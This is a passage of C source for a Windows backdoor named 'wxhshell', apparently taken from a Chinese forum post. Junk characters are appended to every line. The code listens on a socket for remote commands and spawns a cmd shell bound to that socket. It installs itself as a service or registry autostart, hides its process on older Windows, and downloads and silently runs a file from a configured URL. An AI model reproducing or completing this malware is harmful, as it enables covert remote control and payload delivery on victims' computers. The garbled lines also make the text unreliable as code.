  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *@[+C~U  
  } s%t =*+L\  
  else { '0/[%Q  
&BQ%df<y\  
    switch(cmd[0]) { LArfX,x3i  
  Vc| uQ8Mi  
  // 帮助 |&H(skF_  
  case '?': { z|i2M8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); XB\n4 |4  
    break; ftbOvG/ I  
  } zNJ-JIo%  
  // 安装 rqYx\i?  
  case 'i': { !!UQ,yU  
    if(Install()) x|<89o L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @3I/57u<  
    else \k*h& :$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lcEin*Oc  
    break; %B-m- =gz  
    } f 7j9'k  
  // 卸载 Zcxj.F(,  
  case 'r': { </Ry4x^A  
    if(Uninstall()) 1IV R4:a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >O}J*4A>+#  
    else B;xGTl@8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %Dm:|><V$b  
    break; /S&8%fb  
    } K!_''Fg  
  // 显示 wxhshell 所在路径 "\1QJ  
  case 'p': { W1p5F\ wt  
    char svExeFile[MAX_PATH]; -O?&+xIK&  
    strcpy(svExeFile,"\n\r"); J1{ucFa  
      strcat(svExeFile,ExeFile); >X-*Hu'U#  
        send(wsh,svExeFile,strlen(svExeFile),0); ,{u'7p  
    break; -K%~2M<  
    } t'L#8MJ  
  // 重启 wv_<be[?*  
  case 'b': { $+@xwuY'+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); UJ6zgsD1b?  
    if(Boot(REBOOT)) 2q*aq%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); };@J)}  
    else { IRl(H_.  
    closesocket(wsh); +~1~f'4J  
    ExitThread(0); hXz@ (cF  
    } 4+15`  
    break;  L\("  
    } :Y2J7p[+  
  // 关机 sn.&|)?Fi  
  case 'd': { "N*i!h  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); iZDZ/hohv  
    if(Boot(SHUTDOWN)) N3rQ]HZiP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7c.LyvM  
    else { B5fF\N^  
    closesocket(wsh); {>R'IjFc  
    ExitThread(0); 088"7 s  
    } k>q}: J9V  
    break;  F5FzT^  
    } YUsMq3^&  
  // 获取shell m kHcGB!~  
  case 's': { 3Mt Alc0xp  
    CmdShell(wsh); x$Tf IFy  
    closesocket(wsh);  = ~^  
    ExitThread(0); MJ0UZxnl  
    break; (YH/#n1"{  
  } (GI]Uyn  
  // 退出 g?d*cwtU  
  case 'x': { #Do#e {=+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ig M_l=  
    CloseIt(wsh); Y]>Qu f.!  
    break; O)Mf/P'  
    } "/}cV5=Z  
  // 离开 J{bNx8.&  
  case 'q': { ;IYH5sG{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); KK4"H]!.  
    closesocket(wsh); .WT^L2l%  
    WSACleanup(); kw.IVz<  
    exit(1); mFXkrvOf,  
    break; K7N.gT*4  
        } [.`%]Z(  
  } q^k]e{PD  
  }  @M E .  
Z-B b,8  
  // 提示信息 K{x FhdW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~^R?HS  
} U?d4 ^  
  } DRw;.it2  
-*r]9f6 x  
  return; .a *^6TC.  
} s55t>t,g6  
@"E{gM@B  
// shell模块句柄 >hbT'Or@  
int CmdShell(SOCKET sock) {#'M3z=  
{ Ee?+IZ H7|  
STARTUPINFO si; 'fkaeFzOl  
ZeroMemory(&si,sizeof(si)); ie%_-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  p3YF  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =ap6IVR  
PROCESS_INFORMATION ProcessInfo; =YRN"  
char cmdline[]="cmd"; C5^eD^[c  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `DPR >dd@  
  return 0; ko%B`  
} $ZOKB9QccC  
(66DKG   
// 自身启动模式 p>@S61 & [  
int StartFromService(void) b-XC\  
{ wuQ>|\Zs  
typedef struct XgmblNp1  
{ N2x!RYW  
  DWORD ExitStatus; Vt!<.8&`  
  DWORD PebBaseAddress; _noQk3N  
  DWORD AffinityMask; IAJYD/Y&?  
  DWORD BasePriority; A->y#KQ  
  ULONG UniqueProcessId; 'F[ C 4  
  ULONG InheritedFromUniqueProcessId; +#d}3^_]  
}   PROCESS_BASIC_INFORMATION; 6b8@6;&LI  
0piBK=tE/  
PROCNTQSIP NtQueryInformationProcess; X) TUKt  
_7M!b 9oA  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ToB^/ n[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5@{+V!o,  
]O;Hlty(g  
  HANDLE             hProcess; 8{GRrwQ>  
  PROCESS_BASIC_INFORMATION pbi; 23;e/Qr  
BOQeP/>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !dW77kLTg  
  if(NULL == hInst ) return 0; Hw"UJP  
H~P"uYKIZ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -MqWcB9&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); C,!}WB@VME  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E(&GZ QE  
G2,r %|7ta  
  if (!NtQueryInformationProcess) return 0; @}e'(ju%R  
DB>Y#2j4h  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q#i^<WUpg  
  if(!hProcess) return 0; /@.c 59r  
Q:x:k+O-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~BVK6  
vsM] <t  
  CloseHandle(hProcess); !j3V'XU#Zn  
yT>t[t60/S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;^,2 QsM  
if(hProcess==NULL) return 0; f~.w2Cna  
]/+qM)F  
HMODULE hMod; u%7a&1c  
char procName[255]; h CLXL  
unsigned long cbNeeded; QxGQF|  
p ]zYj >e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 47iwb  
}bv0~}G4  
  CloseHandle(hProcess); 3PonF4  
$J |oVVct  
if(strstr(procName,"services")) return 1; // 以服务启动 D k'EKT-  
%acy%Sy  
  return 0; // 注册表启动 4nhe *ip  
} NS l$5E  
%}=$HwN)  
// 主模块 I~R<}volu  
int StartWxhshell(LPSTR lpCmdLine) sQA{[l!aj  
{ {1GW,T!#  
  SOCKET wsl; %;0w2W  
BOOL val=TRUE; fxDY:l  
  int port=0; 3_atv'I  
  struct sockaddr_in door; 4Pljyq:  
<(JsB'TK  
  if(wscfg.ws_autoins) Install(); n/"T7Y\2  
j}R4m h  
port=atoi(lpCmdLine); JXlFo3<  
v`hv5wQ  
if(port<=0) port=wscfg.ws_port; c4LBlLv4  
e^@/ Bm+B  
  WSADATA data; W RAW%?$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (%>Sln5hq  
9xg_M=72  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2`* %NJ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); x~GV#c  
  door.sin_family = AF_INET; s9A'{F  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); er5}=cFZ  
  door.sin_port = htons(port); !dLz ?0  
mm=Y(G[_%y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ucj)t7O   
closesocket(wsl); %6 <Pt  
return 1; O#7ldF(  
} 2t { Cpw  
![5<\  
  if(listen(wsl,2) == INVALID_SOCKET) { UBRMV s  
closesocket(wsl); e>t9\vN#bx  
return 1; N,ik&NIWy  
} 'w%N(Ntq  
  Wxhshell(wsl); JMOP/]%D  
  WSACleanup(); 7/vr!tbL`p  
{I 7pk6Qd  
return 0; P:k(=CzZ@J  
w c%  
} ](0 Vm_es  
x#0C+cU  
// 以NT服务方式启动 Jb-wvNJu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) x=B+FIJ  
{ ) Q=G&  
DWORD   status = 0; ^TWN_(-@  
  DWORD   specificError = 0xfffffff; ~rCnST  
Wsz='@XvB  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <J-OwO a-1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8"LaP3U  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )O- x1U  
  serviceStatus.dwWin32ExitCode     = 0; %FFw!eVi  
  serviceStatus.dwServiceSpecificExitCode = 0; @\l> <R9V  
  serviceStatus.dwCheckPoint       = 0; Re1@2a>  
  serviceStatus.dwWaitHint       = 0; -e(2?Xq9  
N0RFPEQ~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); , m|9L{  
  if (hServiceStatusHandle==0) return; ,.FTw,<  
&up/`8   
status = GetLastError(); ;oFaDTX]  
  if (status!=NO_ERROR) hqD;<:.  
{ lO $M6l  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0]oQ08  
    serviceStatus.dwCheckPoint       = 0; 3R#<9O  
    serviceStatus.dwWaitHint       = 0; W,{`)NWg  
    serviceStatus.dwWin32ExitCode     = status; SbnV U[  
    serviceStatus.dwServiceSpecificExitCode = specificError; QrA8 KSLC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); e3>Re![_.  
    return; -N\{QX1Yd  
  } K[sM)_I  
)Elr8XLw  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9jPb-I-   
  serviceStatus.dwCheckPoint       = 0; 2Bjp{)*  
  serviceStatus.dwWaitHint       = 0; 'fA D Dh}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); a3c4#'c|D  
} 9_>4~!x`  
g[M@  
// 处理NT服务事件,比如:启动、停止 T4!]^_t^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) NuO>zAu  
{ <uTsX v  
switch(fdwControl) A[ iP s9  
{ ''v1Pv-  
case SERVICE_CONTROL_STOP: 3sZK[Y|ax  
  serviceStatus.dwWin32ExitCode = 0; Jj6kZK  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; tiE+x|Ju"  
  serviceStatus.dwCheckPoint   = 0; w|nVK9.  
  serviceStatus.dwWaitHint     = 0; EhFhL4Xdn  
  { l.)N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ba+OoS  
  } iz^wBQ  
  return; R-Fi`#PG2  
case SERVICE_CONTROL_PAUSE: *>'R R<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ABHZ)OM  
  break; CQ( @7  
case SERVICE_CONTROL_CONTINUE: \7j)^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; kxn;;  
  break; *i?qOv /=>  
case SERVICE_CONTROL_INTERROGATE: `X^e}EGWu  
  break; YqJIp. Z  
}; %|,<\~P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RrZjC  
} Nz}Q"6L  
kx=AX*I  
// 标准应用程序主函数 4a @iR2e  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) twu6z5<!-=  
{ ppnj.tLz;r  
,?d%&3z<a  
// 获取操作系统版本 8_,ZJ9l ;  
OsIsNt=GetOsVer(); V[xy9L[#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _(z"l"l=$  
R]Yhuo9,&n  
  // 从命令行安装 Azle ;\l`  
  if(strpbrk(lpCmdLine,"iI")) Install(); }1W$9\%  
y*(YZzF  
  // 下载执行文件 >@L HJ61C  
if(wscfg.ws_downexe) { a2 rv4d=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #`fT%'T!  
  WinExec(wscfg.ws_filenam,SW_HIDE); |@g1|OWd|  
}  XGoy#h  
zc1Zuco| R  
if(!OsIsNt) { 6+u'Tcb  
// 如果时win9x,隐藏进程并且设置为注册表启动 d$TW](Bby  
HideProc(); ~JNuy"8  
StartWxhshell(lpCmdLine); PW`Tuj  
} jFXU xf  
else Na6z,TW  
  if(StartFromService()) CbHNb~  
  // 以服务方式启动 <M7* N .  
  StartServiceCtrlDispatcher(DispatchTable);  j%}Jl  
else xKr,XZu  
  // 普通方式启动 -&EmEXs%  
  StartWxhshell(lpCmdLine); JgB# EoF  
heKI<[8l  
return 0; G'py)C5;  
}
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只看该作者 1 发表于: 2006-10-10
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